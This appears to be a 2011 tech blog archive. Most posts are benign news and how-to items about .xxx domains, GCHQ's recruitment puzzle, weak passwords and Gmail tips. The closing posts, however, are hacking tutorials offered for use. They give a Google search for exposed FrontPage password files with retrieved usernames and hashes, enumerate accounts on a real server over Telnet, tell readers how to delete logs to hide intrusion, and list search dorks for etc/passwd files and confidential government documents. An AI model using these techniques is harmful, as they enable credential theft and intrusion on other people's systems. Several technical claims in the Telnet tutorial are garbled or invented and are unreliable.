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XXX Domains: An Obvious Failure

2011-12-11T12:35:00.000+05:00

Is it just me or is the ICANN plan to corral online porn going terribly wrong? We already have reports that universities are snapping up XXX domains in an effort to get ahead of porn pranksters who want to besmirch a few good online names with smut.
I guess this turn of events was obvious to anyone with half a brain.
Legitimate porn sites have little interest in the triple X domains, which went on sale earlier this week, for their businesses because they see them as potential censorship and, more importantly, they thrive on people accidentally stumbling on their URLs. In the early days of the web this was common because porn purveyors snapped up known names and brands — none of which had to feature an obvious porn domain label. That’s how “Whitehouse.com” ended up, for a time, as a porn site.

.XXX was designed to improve the situation. No more accidentally typing in, well, something you didn’t intend. With a designated porn domain, it’s unlikely anyone would end up in the wrong place. Better yet, corporations and homes could easily block all .XXX domains. That’s the plan, but if pornographers stay away and legitimate people, companies, businesses and universities race to snap up any and all XXX domain names that could be construed as theirs, then this triple XXX domain could be an embarrassing failure for the ICANN (Internet Corporation for Assigned Names and Numbers).
Think I’m exaggerating? The AP reports that 80,000 XXX domains were sold in presale and many companies like Pepsi and Nike lined up to purchase adult domains. The University of Kansas reportedly just paid $3,000 for a variety of XXX URLs.
It’s unlikely anyone will ever type in www.KUgirls.xxx, but that’s not the point. The university just wanted to be safe. I understand the impulse. Even as I’m writing this, I’m wondering if I, too, should try to protect my good name by buying the LanceUlanoff.xxx domain.
I know where to go. GoDaddy.com is registering them for $99 a year, making these domains considerably more expensive than standard domains (which you can buy at various sites at anywhere from $1.99 or $9.99—yearly maintenance fees are then more expensive). According to the website, if I wanted to launch an adult website under that URL, I actually have to become an “Internet Community Member” and then confirm my status of “the sponsored adult entertainment community”. My guess is that this is how the ICANN polices the URLs, to ensure that someone isn’t registering someone else’s brand as a porn site. I have no plans to do so, which conveniently means I do not have to become a part of the “Community.” GoDaddy tells me this too, and is — fortunately, I guess — only too happy to help me park my URL for the same exorbitant fee.
Atop GoDaddy’s XXX domain registration page is this: “Let’s be adult about it. Create an adult Web presence or protect your brand.” This is followed by an explanation of why you’d want to register an XXX domain. Note what it starts with:

Secure your brand. Protect your reputation.
Perhaps you’d like to create an adult entertainment website. Or maybe you’re here to keep your brand from being registered as a .XXX by someone else. Whatever your reasons for wanting a .XXX domain, you’ve come to the right place. To check the availability of your domain, type the name you want into the search box above.

GoDaddy has built its brand with coy references to sex (check out any of its Super Bowl ads), but it’s not being coy here. The message is clear: If you don’t want someone launching a porn XXX domain with your name or brand, you’d better let GoDaddy take your money and register it for you.
While I see the parallels with the early days of the web, this situation is different in one fundamental way: Those snapping up the domains for protection will never use them. No one outside the porn industry wants to run a live XXX domain website. These businesses and universities are simply buying them in what GoDaddy actually calls “Defensive Registrations” to hide them from view forever (and they’ll pay GoDaddy yearly fees to do so).
Instead of creating a solution, the ICANN’s apparently misguided efforts have spawned a new anxiety: “Your Brand Name in Porn.” The fear is so strong that it’s got all these people buying up domains just so the wrong people can’t get them. As I see it, this could be quite a windfall for GoDaddy. The company should send the ICANN a thank-you note.

University Spends $3,000 on XXX Domain Names to Save Face

2011-12-11T12:33:00.001+05:00

The University of Kansas has bought .xxx domain names, such as www.KUgirls.xxx and www.KUnurses.xxx, hoping to prevent its name from falling into the hands of pornographers. The school, as well as dozens of others, has reportedly purchased $3,000 worth of “.xxx” domain names since they went on sale.
The flagship state university plans to sit on the websites and do nothing with them, the AP reports.

The recently launched .xxx web suffix is intended for adult-only (read: pornographic) content and are a way to more easily sort mature web material. The sites went on public sale for the first time this week, after opening up to companies in September. Some 80,000 pages were reportedly purchased during the pre-sale phase, including Nike.xxx, Pepsi.xxx and Target.xxx.

SEE ALSO: XXX Domains Are Here: Now What?
The AP also says Indiana University, Purdue University and Ball State University have snatched up their self-titled .xxx territory.
While this may seem like a lot of money to spend on
Did you purchase a .xxx domain name to protect your company’s brand? Let us know in the comments.

XXX Domains Are Here: Now What?

2011-12-07T12:32:00.001+05:00

For some, today’s official grand opening of the .xxx domain is the best thing to happen to Internet pornography since it was injected with life in the 1990s, as depicted in the movie Middle Men. For others, it’s a dangerous move that comes with too many negative consequences, some subtle and some severe.
The idea of setting aside an Internet domain for adult material has been around for over a decade. In 2000 and 2004, proposals were submitted to the Internet Corporation for Assigned Names and Numbers (ICANN), but garnered widespread opposition from conservative groups.
After ICANN initially approved the domain in 2005, .xxx faced six years of legal and procedural hurdles before getting the final go-ahead in March 2011. Since then the ICM Registry (which polices the domain) hosted an initial closed sale for some .xxx domains, and today they’re available to anyone who wants one, at $60 a pop.

The general sale is far from the last word on such a controversial topic. Those opposed to adult entertainment, those who produce it, and consumers have all staked out their territory on the debate, sometimes on both sides of the debate, over whether .xxx domains are a good idea.

Cases For and Against

Many conservative groups suggest that creating a top-level domain (TLD) for porn is tantamount to an endorsement of it. The same logic is what keeps most cities from creating an official red-light district, like in Amsterdam, where adult activities are permitted, if regulated. By setting aside part of the Web for porn, those groups would have to accept that it’ll be around in some form no matter what.
“We are not in favor of the establishment of that domain,” Patrick Vaughn, general counsel for the American Family Association, told Mashable. “It just creates more real estate for the pornography industry, and it doesn’t exclude the sites that already exist. It might have been helpful if they set up .xxx, and that was the only place to find pornography. As this is, it just gives [pornographers] more to work with.”
The ICM Registry says creating a .xxx domain is better for those who don’t like porn, since it provides an easy way to filter out adult-entertainment sites. After all, if a site has the .xxx suffix, it’s clear before you even go there what kind of content will be there, and telling software to simply filter those sites out is an easy thing to do.
At the same time, .xxx domains provide better protections than other porn sites, and that benefits people who do want access to adult material. Since anyone who runs a .xxx site agrees to certain conditions — among them a daily scan for malware, dedicated servers for search, and access to a new micropayment system — the sites will theoretically be safer and easier to use than other adult sites, which are sometimes breeding grounds for malware.
Despite those benefits, some think the idea of putting all the Web’s porn eggs in one basket makes it that much easier for a government or third party to simply push a button and make it all go away. Besides the censorship concerns, some vendors of adult material object to the whole idea of a .xxx domain, arguing that it relegates to an Internet “ghetto” aspects of human sexuality that society shouldn’t be ashamed of in the first place.

The Real Issue: $$$

However, some see such principled stances as merely a pretense to oppose the move toward .xxx on the real issue: money. Hundreds of webmasters of adult sites have written to ICANN over the years to oppose the domain’s approval for that reason.
The company that runs Playboy.com, for example, strongly opposes the .xxx domain and has refused to take part in its implementation in any way. Luxembourg-based Manwin, which also manages YouPorn, xTube, and other sites, is suing ICANN and the ICM Registry for essentially forcing businesses to cough up money to register domains before cyber-squatters do.
For example, if, say, Apple was concerned that a porn site wanted to start operating under the site apple.xxx, they would need to pay to obtain it (and they may have done so, since it’s not available, according to the ICM Registry). Many universities have been reported as snapping up their .xxx addresses before anyone else does.

The Future of .XXX

While many have opposed the creation of .xxx over the years, the fact is it’s here, with domains for sale at $60 each from GoDaddy and others. However, being available and being a success are two different things. Adult sites aren’t required to use the domain, and if only a small percentage do, it may fade to oblivion. After all, the domain .mobi made a big debut five years ago as the TLD for sites optimized for mobile devices, and it went absolutely nowhere.
Will the same thing will happen to .xxx? That depends on how strong the ICM Resistry’s outreach is to the adult-entertainment community, and how consumers respond. Five years from now, .xxx could be a bustling adult marketplace, or a gaudy ghost town.

Simple Google search unlocks GCHQ code-cracking competition

2011-12-02T21:45:00.002+05:00

GCHQ's "Can You Crack It?" website, designed to help recruit talented codebreakers for the British government department, is getting lots of attention from the media and bloggers - but some of that may be unwanted.
A number of bloggers and Twitter users have pointed out that GCHQ appears to have done rather a poor job at locking down the website, making it child's play for anyone to visit the webpage you're only supposed to see if you've successfully cracked the code.

All it takes to find the page is to use the site: command in Google, as the "Can You Crack It?" webmaster seemingly didn't hide the success page from search engines.

Oops!
Of course, none of this means that the code-cracking competition isn't still worth participating in. It was perhaps inevitable - once GCHQ's involvement in the challenge was known - that some would ferret around for chinks in the website's armour.
Behind the scenes - Naked Security and GCHQ's competition

In October, Naked Security was contacted by a marketing agency working on behalf of GCHQ, asking if we would write an article encouraging readers to take part in the code-cracking competition.
We didn't know the agency was working for GCHQ at the time (this was only revealed after we signed a non-disclosure agreement), and ultimately we decided not to proceed as we felt uncomfortable pointing readers to a competition without being allowed to be upfront and open about its intended purpose, and who was behind the unbranded, standalone site.
It just didn't feel very "social media" to keep the reason behind the "Can you crack it?" website and its creators a secret from you, our readers, and so we politely declined to participate.

However, this week it became public knowledge that GCHQ were behind the competition website, with the likes of the BBC and Daily Telegraph writing about it.
So with the non-disclosure agreement null and voice, Naked Security had the green light to describe the competition for our readers.
Thanks to

GCHQ Launches Code-Breaking Competition Through Social Networking Sites

2011-12-02T21:40:00.001+05:00

The UK Government Communication Headquarters has launched a code-cracking challenge to attract new talent, the first of its kind by the organisation. The move is meant to address the shortage of Internet security specialists to handle increasing cyber threats.
The challenge has six parts, each containing three puzzles, and all leading to a single answer which takes the form of a nine-letter word with a mathematical connection.
Potential applicants can participate in the competition, which will be available on the social networking sites as well as an unbranded standalone Web site. The participants have to decode a visual code that will be seeded in these sites.

The campaign is meant to raise the profile of the organisation and to create awareness among the people about its functioning. The organisation believes that the campaign will help in recruiting best talents to its resource pool.
"The target audience for this particular campaign is one that may not typically be attracted to traditional advertising methods and may be unaware that GCHQ is recruiting for these kinds of roles," the BBC has quoted GCHQ spokesman as saying.

"Their skills may be ideally suited to our work and yet they may not understand how they could apply them to a working environment, particularly one where they have the opportunity to contribute so much,” he added.
Soon after the code is cracked, the winners can reach the recruitment Web site of GCHQ by entering a keyword provided to them. However, the competition is open to only British citizens and illegal hackers are ineligible to participate.
GCHQ said the government is in full support of its initiatives such as “Cyber Security Challenge” to encourage careers in the field through annual competitions and events.
For more information visit : http://canyoucrackit.co.uk/
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BowWowBling

2011-11-30T23:33:00.000+05:00

BowWowBling is a line of pet products for pets that love to look good! We're running a contest for best user submitted pet story or pic to be featured on the blog with a prize of a card of BowWowBling stick on pet earrings!
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2011-11-24T09:31:00.001+05:00

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25 "Worst Passwords" of 2011 Revealed

2011-11-24T07:40:00.003+05:00

If you see your password below, STOP!
Do not finish reading this post and immediately go change your password -- before you forget. You will probably make changes in several places since passwords tend to be reused for multiple accounts.
Here are two lists, the first compiled by SplashData:

1. password
2. 123456
3.12345678
4. qwerty
5. abc123
6. monkey
7. 1234567
8. letmein
9. trustno1
10. dragon
11. baseball
12. 111111
13. iloveyou
14. master
15. sunshine
16. ashley
17. bailey
18. passwOrd
19. shadow
20. 123123
21. 654321
22. superman
23. qazwsx
24. michael
25. football
Last year, Imperva looked at 32 million passwords stolen from RockYou, a hacked website, and released its own Top 10 "worst" list:
1. 123456
2. 12345
3. 123456789
4. Password
5. iloveyou
6. princess
7. rockyou
8. 1234567
9. 12345678
10. abc123
If you've gotten this far and don't see any of your passwords, that's good news. But, note that complex passwords combining letters and numbers, such as passw0rd (with the "o" replaced by a zero) are starting to get onto the 2011 list. abc123 is a mixed password that showed up on both lists.
Last year, Imperva provided a list of password best practices, created by NASA to help its users protect their rocket science, they include:
It should contain at least eight characters
It should contain a mix of four different types of characters - upper case letters, lower case letters, numbers, and special characters such as !@#$%^&*,;" If there is only one letter or special character, it should not be either the first or last character in the password.
It should not be a name, a slang word, or any word in the dictionary. It should not include any part of your name or your e-mail address.
Following that advice, of course, means you'll create a password that will be impossible, unless you try a trick credited to security guru Bruce Schneir: Turn a sentence into a password.
For example, "Now I lay me down to sleep" might become nilmDOWN2s, a 10-character password that won't be found in any dictionary.
Can't remember that password? Schneir says it's OK to write it down and put it in your wallet, or better yet keep a hint in your wallet. Just don't also include a list of the sites and services that password works with. Try to use a different password on every service, but if you can't do that, at least develop a set of passwords that you use at different sites.
Someday, we will use authentication schemes, perhaps biometrics, that don't require so much jumping through hoops to protect our data. But, in the meantime, passwords are all most of us have, so they ought to be strong enough to do the job.

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2011-11-24T06:09:00.002+05:00

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A Portable Antivirus Software from Microsoft

2011-11-20T14:11:00.000+05:00

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s your computer infected with a virus that is preventing you from downloading security updates from the Internet or from running any antivirus program on that machine? Or are your looking for an antivirus software that can be carried on a USB drive to quickly scan any disconnected computer(s) for viruses or malware?
You should check out Microsoft Safety Scanner. This is a free antivirus software, always updated with the latest definitions, and requires no installation - all you need to do is copy the program executable msert.exe to an infected computer and double-click that file. If it detects a problem, the infected files will be quarantined.

You may either do a thorough scan - check every file and folder - or a quick scan that checks a limited number of folders that are most likely to contain viruses, malware or spyware.
Microsoft Safety Scanner is available as a free download for both 32-bit and 64-bit version of Windows. You may use on Windows XP, Vista or Windows 7 machines and, unlike Microsoft’s other antivirus software, Safety Scanner doesn’t perform a check for genuine Windows.
The program expires after 10 days but you can always re-download it with the updated virus definitions. It won’t however scan your Outlook emails or your network drives for any possible infections.

The Best Tool to Sync Outlook and Google Contacts

2011-11-20T13:44:00.000+05:00

If you are using Gmail with Microsoft Outlook, you know how cumbersome it is to keep your Outlook address book in sync with Google Contacts. You add a new contact in Outlook but it won’t magically appear in Gmail. The same is true when you edit a contact’s details in Google Contacts, your Outlook will continue to have the old data.
Would you therefore like to save yourself from this never-ending hassle of maintaining contacts data at two places and have a unified address book.

Sync your Gmail Address Book and Outlook Contacts

Google offers a free Outlook plugin called Apps Sync to help keep your Outlook Contacts and Google Contacts in sync with each other but probably for business reasons, they have made this utility available only for premier Google Apps customers.
I wish Google could bring the Apps Sync utility to regular Gmail and non-premium Google Apps accounts but until that happens, you may want to give GOSyncMod a try. This is a standalone Window utility, not an Outlook plugin, that can help you easily sync your Outlook and Gmail address books.
Once you have installed the utility, just provide your Google Account credentials and choose any unique name for the profile field (say Outlook). You may sync both Gmail accounts and Google Apps for Gmail accounts.
Next choose the direction for synchronization. For instance, if you choose “Google to Outlook only,” it will fetch Google Contacts from the cloud into your Outlook address book while keeping the Gmail Address book intact. I kept this unselected to sync both ways.
In case of a conflict, you may either give priority to Gmail, Outlook or let the program prompt you (see next screenshot). One limitation is that it Go Sync cannot handle conflicts on its own and you’ll have to manually compare the conflicts and update the one that is old.

The other impressive thing about this utility is that is can even sync profile pictures of your contacts both ways – this is missing is most of the other synchronization tools that available for syncing Outlook and Gmail. Thank you BlogsDNA.

Do Check the Google Homepage on your Birthday!

2011-11-14T18:53:00.000+05:00

Google uses special logos (or doodles) to honor famous personalities, especially artists and scientists, on their birthdays. And they do something similar on your birthday as well.

{Spoiler Alert} If you visit the Google homepage on your birthday, you’ll find a special logo and when you hover the mouse over that logo, it will greet you with some personalized text.
It probably picks the date from your Google Profile and you’ll also need to be logged in to your Google Account to see that birthday logo. The feature has been around for an year now but if you jumped in late like me, do remember to visit google.com on your next birthday.

How to Share your Printer on the Internet

2011-11-14T18:49:00.001+05:00

If you have a printer attached to your computer, you can turn on the printer sharing option and anyone on the home network would then be able to send print jobs to that local printer. All you need to ensure is that your (host) computer is always turned on and also connected to the local network.
Now imagine a slightly different scenario where your local printer is connected to the computer as before but here you want to share that printer with people outside your home network. For instance, your friends could be in a different city and they would still be able to send print jobs to your printer over the Internet.

One option is that you upgrade to an ePrint printer that supports printing via email but you can also do this for your existing printing that is not Internet enabled?
The answer is very much yes! Google, as you know, offers a web based printing technology called Cloud Print that lets you access your existing printer from any browser or mobile phone over the Internet. The same service can now be used to share your printer with anyone else on the web without them being part of your home network.

Step by Step - Sharing your Printer on the Internet

Assuming that the printer to connected to your Windows or Mac computer, here’s how you may share it friends and family anywhere:

A: Connect your printer to Cloud Print

Step 1. Open Google Chrome, choose Tools –> Options (or Preferences) –> Under the Hood and sign-in to Google Cloud Print.
Step 2. Choose “Finish printer registration” and all printers attached to your computer can then be accessed over the Internet through Google Cloud Print.

B: Share your printer with friends

Step 3. Click “Manage your Printers”, select the Printers option and then highlight the Printer name that you would like to share with the outside world.
Step 4. Click the Share button, type the email addresses of your friends and Share. It is as easy as sharing a Google Docs document with someone in read-only mode.

C: How others can send print jobs?

Step 5: Your friend, with whom you have shared the print, should log on to google.com/cloudprint using their Google Account and accept the “shared printer.”
Step 6. Next they hit the big “Print” button on the Cloud Print website, upload a file and print using the shared printer. That’s it.
Once they print a file, you should see a new print job on your computer in the next ten seconds or so. Your friend can send files for printing from the mobile phone as well.
This method doesn’t require any complicated networking and since everything works inside the browser, it doesn’t matter whether they are sending print jobs from a Windows, Mac or Linux machine. It just works!

How to Check Multiple Gmail Accounts Automatically

2011-11-14T18:44:00.001+05:00

If you have multiple email accounts on Gmail - say one for your personal emails and other for your business - you don’t have to log out of one email account to check the other mailbox.
Google, as most would probably know, allows multiple sign-in so you can easily log in to two or more Gmail accounts simultaneously inside the same browser. And this works with Google Apps accounts as well.
There’re however some limitations here. One, if you sign-out of one Google Account, you will automatically get logged out from all your other Gmail / Google Accounts as well. Second, if you are launching a new browser session, you’ll have to log in to all your Gmail accounts separately because you can switch from one account to another.

Alternate Approach - Sign-in once for all your Gmail Accounts

Let’s say you have three Gmail accounts – one is your primary account that you need to check throughout the day while the other two email accounts aren’t that important.
Wouldn’t it be nice if you could just log into your main Gmail account and automatically get signed into all your other Gmail accounts as well but without having to type the login credentials of any of those accounts? The trick is really simple.
Gmail offers a useful feature called Email Delegation where you can share your inbox with other people (say your spouse) but without revealing your password. Once you delegate your Gmail account to someone, they get instant read-write access to your mailbox and they get signed in to your Gmail account as soon as they sign in to their own Google account.
If you apply the Email Delegation facility to your own Gmail accounts, you can check all your mailboxes by simply logging into your primary Gmail account. Here’s how:
Sign-in to one of your secondary Gmail accounts and go to Mail Settings –> Accounts –> Grant Access to your account . Choose “Add another Account” and specify your primary Gmail email address here. You’ll now get a confirmation email in your primary mailbox. Accept the request and repeat these steps for all your other Gmail accounts.
That’s it. Once you sign-in to your main Gmail account, you also check all your secondary email accounts by choosing the “Switch Account” option in the upper left corner of your Gmail window. There’s absolutely no need to manually sign in to any of the other email accounts.

Should you use email delegation instead of multiple sign-in? It depends.
This delegation option is only limited to Gmail so while you can check your email account from another Google account, you would still need to sign-in to access your Google Docs, Calendar, Google Plus and other Google products.
Second, while multiple sign-ins allow you to check a Gmail account from a Google Apps account, delegation would only let you share your mailbox with accounts withing the same organization (i.e. email with the same domain name).
One more thing. If your main Gmail account gets hacked, the person will instantly have access to all your other mailboxes as well.

Play Angry Birds on your Favorite Web Pages

2011-11-06T13:00:00.001+05:00

The green pigs stole the birds’ eggs and are now relaxing inside their castles. The birds, obviously angry, are preparing to destroy the castles and the hiding-pigs to seek revenge.
This is the plot of the original Angry Birds game that most of you may have played on your mobile phone or on your desktop. Nokia Argentina has created another version of the Angry Birds game where the main characters – the birds and the villain pigs - are the same but instead of castles, the green pigs are now hiding on your favorite web pages.

To get started, drag this Angry Birds bookmarklet to your bookmarks toolbar, then open any website and press the bookmarklet. Now use your mouse to strike the pigs and see how the various elements of the page – like the text and images - fall. Good fun!
Here’s a video demo of the Angry Birds game in action.

Angry Birds Attack Websites

Test how Mobile-Friendly is your Mobile Website?

2011-11-05T17:24:00.003+05:00

Google has launched a new initiative called Go Mo (short for Go Mobile) and the mission is to convince webmasters to create a mobile-friendly version of their website.
Sure, a desktop-optimized website should load just fine on a mobile screen but the user expectations are often different when they are viewing your site on a small screen and if you serve them that same heavy site, some of them may jump elsewhere.
Is your mobile website really mobile-friendly?

The GoMo project website also has something of utility for webmasters who already have a mobile website – the GoMo Meter.
This online tool will give you an idea of how your mobile site may actually look like on a smart phone, what is the average loading time and it also generates a detailed report on what you can do to make your mobile site even more mobile-friendly.
Here’s a sample PDF report generated for this site and it’s an extremely handy resource for further improving the experience. For instance, I learned that I need to place the search box at a more prominent location on the mobile site.
The GoMoMeter will test your mobile site against an Android phone but there are other online tools to help you test your website on a much wider range of mobile phones.

See Cat Eyes of Adobe Photoshop :: Adobe Photoshop Secret

2011-11-03T17:41:00.002+05:00

Works on: Photoshop 7

Go to Help --> About Photoshop, while holding down [Ctrl]. The Liquid Sky splash screen appears.

Now, press [Print Screen], click File --> New and paste the clipboard contents using [Ctrl] + [V].

Now switch to the Channels palette and click the Red, Green and Blue channels one at a time.

Notice the eyes of the cat move. Change the Hue using [Ctrl] + [U] and an interesting effect comes your way.

Chat Without Messanger :: Chate from Command Prompt

2011-11-03T17:41:00.001+05:00

If you want personal chat with a friend you don't need to download any yahoo messenger.

All you need is your friends IP address and Command Prompt.

Firstly, open Notepad and enter:

@echo o

:A

Cls

echo MESSENGER

set /p n=User:

set /p m=Message:

net send %n% %m%

Pause

Goto A

Now save this as "Messenger.bat". Open the .bat file and in Command Prompt you should see:

MESSENGER

User:

After "User" type the IP address of the computer you want to contact.

After this, you should see this:

Message:

Now type in the message you wish to send.Before you press "Enter" it should look like this:

MESSENGER

User:27.196.391.193

Message: Hi

Now all you need to do is press "Enter", and start chatting

How to Hack Passwords :: Password Hacking

2011-11-03T17:41:00.000+05:00

There are many ways to search for vulnerable sites with google. I'll show you here how to get username and password from sites that use FrontPage extentions. Microsoft FrontPage Extensions creates a service.pwd file inside the _vti_pvt directory in the HTTP server's document root. This file contains user names and passwords that could be remotely retrieved by an attacker. The good news is that Google indexes this kind of files, so they are very easy to search for. The bad news is that the passwords are encrypted, but wait, this is not really a bad news :-) because you can crack them if you are patient and you have the will. If you want to become a hacker, you have to be patient and you have to have the will. Please note: I'm not telling you to hack sites, this stuff is just for learning. So if you want to do illegal things, you should know that jail is a possibility.

So lets go to the details:

1- Some administrators change the name of service.pwd file to authors.pwd or administrators.pwd or users.pwd or some thing else. So to get the biggest chance to retreive this file we will add an "inurl" condition to our search string in Google like this: inurl:(service
authors
administrators
users)

2- The file extension is "pwd" and we are not interested to get other extensions, so we will add an "ext" condition to the search string in Google like this: ext:pwd

3- The first line in the file service.pwd is "# -FrontPage-". So we will search for this string with Google

And here is the full search string:(you can click it to go to Google result page)

inurl:(service
authors
administrators
users) ext:pwd "# -FrontPage-"

In the Google result page click any link, you should see some thing like this:

# -FrontPage-ekendall:bYld1Sr73NLKolouisa:5zm94d7cdDFiQHere, there are 2 users with their encrypted passwords. The first user is ekendall, his encrypted password is bYld1Sr73NLKo and the second user is louisa, her encrypted password is 5zm94d7cdDFiQ.

After this u can decrypt the password by any password decryptor software.

A Tutorial to Telnet and Hacking

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A Tutorial to Telnet and Hacking

Now you may be looking at this going, "What the hell is Telnet?". If you are, don't worry, I'll explain everything. First of all, Telnet is software that allows you to connect to another Telnet Host.

In windows systems Telnet is usually called Telnet32.exe or Telnet.exe. In newer versions of windows it is Telnet32.exe.

*** Note to Windows XP users: Don't go and get the old version of Telnet, because you have a DOS-Based one. I'll give commands along this guide so you can enjoy it too. You have to either run "Telnet" or "cmd" and then "Telnet".

Telnet is not illegal and is used by thousands of remote computers to interchange data, share connections, and do many other things that would be impossible without it.

The default port for Telnet is port 23. When I say for instance, 'Connect to the sys' I am referring to connecting on the system's default port for Telnet. Sometimes you can't determine a port so you will have to port scan a sys to find the Telnet Ports.

Port 25 is the 'Sendmail Protocol' port. We will be dealing with this port as well.

Telnet Security

Because there are so many problems with Telnet today involving cyber crime and hacking, SysAdmins often restrict anonymous use of their sys's Telnet Proxies. This is cheap and can be bypassed easily.

Most SysAdmins are amatures at what they do and make me laugh. They restrict the Telnet proxies on port 23 and think that we can't telnet to other ports such as 81 and 25 because we can't use the Telnet Proxy. Well they are wrong. We can easily do it and we will. Let me point out a system that has this and was not effective. I will star out the IP for privacy.

Welcome to Microsoft Telnet. Telnet32.exe.

o

202.232.**.**

connecting to 202.232.**.** 23 (The port number)

Connected.

Connection to host lost (unauthorized use of Telnet Proxy(ies).

o

202.232.**.** 25

Connecting to 202.232.**.** 25 (Watch this..)

Welcome to ********.net Sendmail Program. Welcome to all staff.

vrfy bin

..550

vrfy sys

..550

vrfy root

..550

vrfy admin

..550

vrfy games

..550

vrfy uucp

..550

q

..550

c

Connection to host lost on command.

okay people is there a problem there? How many addys did I get? Am I supposed to have those? Do I care? No. I am just demonstrating how sh1tty Unix-System security is and how easy it is to use the Telnet Proxy to your advantage. Here, I wil list some commands for all of you running under DOS.

C - Close the Current Connection

D - Display the sys's operating paremeters

O - Connect to a host name (on default port 23) [port]

q - Quit (Exit Telnet).

Set- Set Options

Send - Send data/strings to server

Telnet, as you know so far, is a very useful tool for hackers. Hell, if you can't connect to a computer, you can't hack it. Its that simple.

Now the best thing about Telnet is that virtually every Windows computer has it, comes with it, and is able to run it.

THINGS GOING WRONG ON HACKING OR TELNET

I have a Windows 98 computer and I am running Telnet. It gives me a lot more options when connecting to a computer, and these commands don’t go anywhere! What do I do? I get the hostname part and all that, just what does Term-Type mean?

okay people, so many people have asked me this I'm ready to start getting an auto-flame response on my e-mail box LoL. Anyway, here goes:

Term Type means Terminal Type. It is the version of the Telnet Terminal that the host or server is running. You have to specify this, Telnet is not hacker-friendly.

In Windows 98/95/ME you are not running a DOS-Based version of Telnet. You get a client program, somewhat considered shite for me. I like the DOS based one and frankly, I find it a lot easier to use.

I can't connect to the host!

Well, the host either doesn't exist, does not support Telnet Packets or Connections, or is currently restricting proxy access or usage from your addy or all addresses.

I went further than you because I thought I knew what I was doing! I got this message saying my hacking attempt was logged! Am I going to go to jail!?!?!

Don’t worry, as long as its not with the extension .log or .hlog or .hacklog you're fine, as 95 percent of these messages are BS and lies.

IF THEY'RE LIES, how come they knew I was hacking them?

They don't. They simply search for incoming connections not recognized by the server. If the SysAdmins didn't modify the message, you would have gotten this:

"Error 229292: Data not recognized 8191: Distinct Remote Service Lost or Corrupt."

They just modified it. Breath in, breath out, relax.

My dad or mom found out I was hacking, and my dad's an expert on computers! He made it so I can't view anything on AOL. What the hell's going on! Give me a trick to evade this!

Sure thing. Connect to AOL, ping the site you're trying to view, and type in the IP address. You will get to the homepage, but this isn't that good a trick because you can't ping sub-addys and you're going to get text for the sub-urls. This might or might now work.

I was screwing around with my friends computer. I think I left my information somewhere, but where?

Usually, you have a critical system log. If you delete a system file (which unless you're 133t you'd NEVER EVER do) the computer's going to boot and give you a log of what happened before the deletion of the file so you know what went wrong. If you did happen to delete it, it will list something like "deletion from x.x.x.x. (your IP)". If it does, damn, you're busted. But there are ways of getting rid of this "hacker-knock out". First off, get a WAN-Controller, or any sort of program that lets you input screen or Hardware input by the output. This means you can control their computer with yours. But you can't boot this computer, because it will break the connection.

Access the log files usually in system or system32 (both system files located in C:/Windows or C:/). There, you will see encrypted sh1t. CTRL+A will select it all and delete it all. If you do delete this file, (after you do), try recovering the system file. WHATEVER YOU DO DON'T DO A SYSTEM RESTORE, YOU HAVE BEEN WARNED.

Some hacker has my IP and hacks it every time I log on. It's static, which means it doesn't change. How do I make him stop? I don't know what his IP is, either!

Go to start, run, "netstat -a". Hacking is almost equivalent to connecting, if he's hacking you your connected to him and he's connected to you. Netstat -a is a command that allows you to see all your connections to hosts and servers, associated with TCP/IP. If you see a hostname that you don't recognize, log it. In fact, click Print Screen, go to paint, CTRL+V, Crop the image of the DOS window for Netstat, and save it. That should be quite easy.

Hacking Tips From Google Search

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Google search engine can be used to hack into remote servers or gather confidential or sensitive information which are not visible through common searches.

Google is the world’s most popular and powerful search engine. It has the ability to accept pre-defined commands as inputs which then produces unbelievable results.

Google’s Advanced Search Query Syntax

Discussed below are various Google’s special commands and I shall be explaining each command in brief and will show how it can be used for getting confidential data.

[ intitle: ]

The “intitle:” syntax helps Google restrict the search results to pages containing that word in the title.

intitle: login password

will return links to those pages that has the word "login" in their title, and the word "password" anywhere in the page.

Similarly, if one has to query for more than one word in the page title then in that case “allintitle:” can be used instead of “intitle” to get the list of pages containing all those words in its title.

intitle: login intitle: password

is same as

allintitle: login password

[ inurl: ]

The “inurl:” syntax restricts the search results to those URLs containing the search keyword. For example: “inurl: passwd” (without quotes) will return only links to those pages that have "passwd" in the URL.

Similarly, if one has to query for more than one word in an URL then in that case “allinurl:” can be used instead of “inurl” to get the list of URLs containing all those search keywords in it.

allinurl: etc/passwd

will look for the URLs containing “etc” and “passwd”. The slash (“/”) between the words will be ignored by Google.

[ site: ]

The “site:” syntax restricts Google to query for certain keywords in a particular site or domain.

exploits site:hackingspirits.com

will look for the keyword “exploits” in those pages present in all the links of the domain “hackingspirits.com”. There should not be any space between “site:” and the “domain name”.

[ filetype: ]

This “filetype:” syntax restricts Google search for files on internet with particular extensions (i.e. doc, pdf or ppt etc).

filetype:doc site:gov confidential

will look for files with “.doc” extension in all government domains with “.gov” extension and containing the word “confidential” either in the pages or in the “.doc” file. i.e. the result will contain the links to all confidential word document files on the government sites.

[ link: ]

“link:” syntax will list down webpages that have links to the specified webpage.

link:www.expertsforge.com

will list webpages that have links pointing to the SecurityFocus homepage. Note there can be no space between the "link:" and the web page url.

[ related: ]

The “related:” will list web pages that are "similar" to a specified

web page.

related:www.expertsforge.com

will list web pages that are similar to the Securityfocus homepage. Note there can be no space between the "related:" and the web page url.

[ cache: ]

The query “cache:” will show the version of the web page that Google

has in its cache.

cache:www.hackingspirits.com

will show Google's cache of the Google homepage. Note there can be no space between the "cache:" and the web page url.

If you include other words in the query, Google will highlight those words within the cached document.

cache:www.hackingspirits.com guest

will show the cached content with the word "guest" highlighted.

[ intext: ]

The “intext:” syntax searches for words in a particular website. It ignores links or URLs and page titles.

intext:exploits

will return only links to those web pages that has the search keyword "exploits" in its webpage.

[ phonebook: ]

“phonebook” searches for U.S. street address and phone number information.

phonebook:Lisa+CA

will list down all names of person having “Lisa” in their names and located in “California (CA)”. This can be used as a great tool for hackers incase someone want to do dig personal information for social engineering.

Google Hacks

Well, the Google’s query syntaxes discussed above can really help people to precise their search and get what they are exactly looking for.

Now Google being so intelligent search engine, hackers don’t mind exploiting its ability to dig much confidential and secret information from the net which they are not supposed to know. Now I shall discuss those techniques in details how hackers dig information from the net using Google and how that information can be used to break into remote servers.

Index Of

Using “Index of ” syntax to find sites enabled with Index browsing

A webserver with Index browsing enabled means anyone can browse the webserver directories like ordinary local directories. The use of “index of” syntax to get a list links to webserver which has got directory browsing enabled will be discussd below. This becomes an easy source for information gathering for a hacker. Imagine if the get hold of password files or others sensitive files which are not normally visible to the internet. Below given are few examples using which one can get access to many sensitive information much easily.

Index of /admin

Index of /passwd
